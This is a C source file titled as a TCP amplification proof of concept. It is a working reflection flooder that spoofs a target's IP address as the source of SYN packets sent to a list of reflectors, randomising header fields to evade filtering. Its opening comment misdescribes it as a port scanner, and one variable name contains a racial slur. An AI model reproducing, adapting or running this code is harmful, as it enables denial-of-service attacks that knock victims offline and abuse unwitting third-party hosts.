New TCP AMP PoC by googleadmin
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/*
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hi github, this script is made by googleadmin, by the one and only googleadmin
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scan for devices with port 80 open on tcp and put it on a list :)
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a little gift for the community
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:*
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*/
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#include <unistd.h>
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#include <time.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/ioctl.h>
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#include <string.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <pthread.h>
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#include <netinet/tcp.h>
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#include <netinet/ip.h>
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#include <netinet/in.h>
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#include <netinet/if_ether.h>
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#include <netdb.h>
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#include <net/if.h>
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#include <arpa/inet.h>
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#define MAX_PACKET_SIZE 4096
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#define PHI 0x9e3779b9
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static unsigned long int Q[4096], c = 362436;
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static unsigned int floodport;
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struct list
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{
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struct sockaddr_in data;
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struct list *next;
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struct list *prev;
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};
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struct list *head;
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volatile int limiter;
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volatile unsigned int pps;
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volatile unsigned int sleeptime = 100;
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struct thread_data{ int thread_id; int dport; struct list *list_node; struct sockaddr_in sin; };
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void init_rand(unsigned long int x)
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{
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int i;
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Q[0] = x;
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Q[1] = x + PHI;
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Q[2] = x + PHI + PHI;
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for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
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}
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unsigned long int rand_cmwc(void)
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{
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unsigned long long int t, a = 18782LL;
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static unsigned long int i = 4095;
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unsigned long int x, r = 0xfffffffe;
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i = (i + 1) & 4095;
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t = a * Q[i] + c;
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c = (t >> 32);
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x = t + c;
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if (x < c) {
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x++;
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c++;
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}
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return (Q[i] = r - x);
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}
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int randnum(int min_num, int max_num)
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{
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int result = 0, low_num = 0, hi_num = 0;
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if (min_num < max_num)
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{
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low_num = min_num;
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hi_num = max_num + 1;
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} else {
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low_num = max_num + 1;
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hi_num = min_num;
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}
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result = (rand_cmwc() % (hi_num - low_num)) + low_num;
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return result;
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}
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unsigned short csum (unsigned short *buf, int count)
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{
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register unsigned long sum = 0;
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while( count > 1 ) { sum += *buf++; count -= 2; }
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if(count > 0) { sum += *(unsigned char *)buf; }
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while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
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return (unsigned short)(~sum);
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}
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unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int pipisize) {
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struct tcp_pseudo
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{
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unsigned long src_addr;
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unsigned long dst_addr;
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unsigned char zero;
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unsigned char proto;
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unsigned short length;
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} pseudohead;
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unsigned short total_len = iph->tot_len;
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pseudohead.src_addr=iph->saddr;
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pseudohead.dst_addr=iph->daddr;
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pseudohead.zero=0;
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pseudohead.proto=IPPROTO_TCP;
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pseudohead.length=htons(sizeof(struct tcphdr) + pipisize);
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int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + pipisize;
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unsigned short *tcp = malloc(totaltcp_len);
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memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
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memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + pipisize);
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unsigned short output = csum(tcp,totaltcp_len);
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free(tcp);
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return output;
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}
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void setup_ip_header(struct iphdr *iph)
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{
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 24;
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iph->id = htonl(54321);
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iph->frag_off = htons(0x4000);
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iph->ttl = MAXTTL;
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iph->protocol = IPPROTO_TCP;
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iph->check = 0;
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iph->saddr = inet_addr("192.168.3.100");
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}
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void setup_tcp_header(struct tcphdr *tcph)
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{
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tcph->source = htons(5678);
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tcph->check = 0;
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memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89", 24); // tcp options
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//memcpy((void *)tcph + sizeof(struct tcphdr) + 24, "\x55\x53\x45\x52\x20\x63\x73\x61\x6e\x64\x65\x72\x73\x0d\x0a", 15);
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tcph->syn = 1;
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tcph->window = htons(64240);
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tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
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}
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void *flood(void *par1)
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{
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struct thread_data *td = (struct thread_data *)par1;
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char datagram[MAX_PACKET_SIZE];
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struct iphdr *iph = (struct iphdr *)datagram;
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struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
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struct sockaddr_in sin = td->sin;
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struct list *list_node = td->list_node;
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int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
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if(s < 0){
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fprintf(stderr, "Could not open raw socket.\n");
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exit(-1);
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}
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memset(datagram, 0, MAX_PACKET_SIZE);
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setup_ip_header(iph);
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setup_tcp_header(tcph);
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tcph->dest = htons(21);
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iph->saddr = sin.sin_addr.s_addr;
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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int tmp = 1;
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int niggershot = 30120;
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const int *val = &tmp;
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if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
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fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
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exit(-1);
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}
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init_rand(time(NULL));
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register unsigned int i;
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i = 0;
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while(1){
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tcph->check = 0;
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tcph->seq = htonl(rand_cmwc() & 0xFFFFFFFFF);
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tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
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tcph->dest = htons(80);
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iph->ttl = randnum(40, 130);
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//iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
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list_node = list_node->next;
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iph->daddr = list_node->data.sin_addr.s_addr;
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iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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tcph->source = htons(rand_cmwc() & 0xFFFF);
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//tcph->source = htons(td->dport);
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tcph->dest = htons(21);
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tcph->check = tcpcsum(iph, tcph, 24);
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sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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//SIMPLE PACKET EDITOR MADE BY GOOGLEADMIN
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int windows[3] = {29200, 64240, 65535};
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int ctos[3] = {0, 40, 72};
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iph->tos = ctos[randnum(0,2)];
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char stronka[] = "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89";
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stronka[2] = randnum(4, 5);
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stronka[3] = stronka[2] == 5 ? randnum(1, 180) : randnum(1, 250);
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stronka[7] = 10;
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stronka[8] = randnum(1, 250);
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stronka[17] = 3;
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stronka[18] = 3;
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stronka[19] = randnum(6,9);
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stronka[20] = 34;
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stronka[22] = randnum(1,255);
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stronka[23] = randnum(1,255);
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tcph->window = htons(windows[randnum(0,2)]);
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const char *newpayload = stronka;
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memcpy((void *)tcph + sizeof(struct tcphdr), newpayload, 24);
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pps++;
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if(i >= limiter)
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{
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i = 0;
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usleep(sleeptime);
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}
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i++;
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}
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}
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int main(int argc, char *argv[ ])
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{
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if(argc < 6){
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fprintf(stderr, "Invalid parameters!\n");
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fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
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exit(-1);
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}
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srand(time(NULL));
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int i = 0;
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head = NULL;
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fprintf(stdout, "Setting up sockets...\n");
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int floodport = atoi(argv[2]);
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int max_len = 128;
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char *buffer = (char *) malloc(max_len);
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buffer = memset(buffer, 0x00, max_len);
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int num_threads = atoi(argv[4]);
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int maxpps = atoi(argv[5]);
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limiter = 0;
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pps = 0;
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int multiplier = 20;
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FILE *list_fd = fopen(argv[3], "r");
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while (fgets(buffer, max_len, list_fd) != NULL) {
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if ((buffer[strlen(buffer) - 1] == '\n') ||
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(buffer[strlen(buffer) - 1] == '\r')) {
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buffer[strlen(buffer) - 1] = 0x00;
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if(head == NULL)
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{
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head = (struct list *)malloc(sizeof(struct list));
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bzero(&head->data, sizeof(head->data));
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head->data.sin_addr.s_addr=inet_addr(buffer);
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head->next = head;
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head->prev = head;
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} else {
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struct list *new_node = (struct list *)malloc(sizeof(struct list));
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memset(new_node, 0x00, sizeof(struct list));
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new_node->data.sin_addr.s_addr=inet_addr(buffer);
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new_node->prev = head;
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new_node->next = head->next;
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head->next = new_node;
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}
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i++;
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} else {
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continue;
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}
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}
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struct list *current = head->next;
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pthread_t thread[num_threads];
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struct sockaddr_in sin;
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sin.sin_family = AF_INET;
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sin.sin_addr.s_addr = inet_addr(argv[1]);
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struct thread_data td[num_threads];
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for(i = 0;i<num_threads;i++){
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td[i].thread_id = i;
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td[i].sin= sin;
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td[i].dport= floodport;
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td[i].list_node = current;
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pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
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}
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fprintf(stdout, "Starting flood...\n");
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for(i = 0;i<(atoi(argv[6])*multiplier);i++)
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{
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usleep((1000/multiplier)*1000);
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if((pps*multiplier) > maxpps)
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{
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if(1 > limiter)
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{
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sleeptime+=100;
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} else {
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limiter--;
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}
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} else {
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limiter++;
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if(sleeptime > 25)
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{
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sleeptime-=25;
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} else {
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sleeptime = 0;
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}
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}
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pps = 0;
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}
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return 0;
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}
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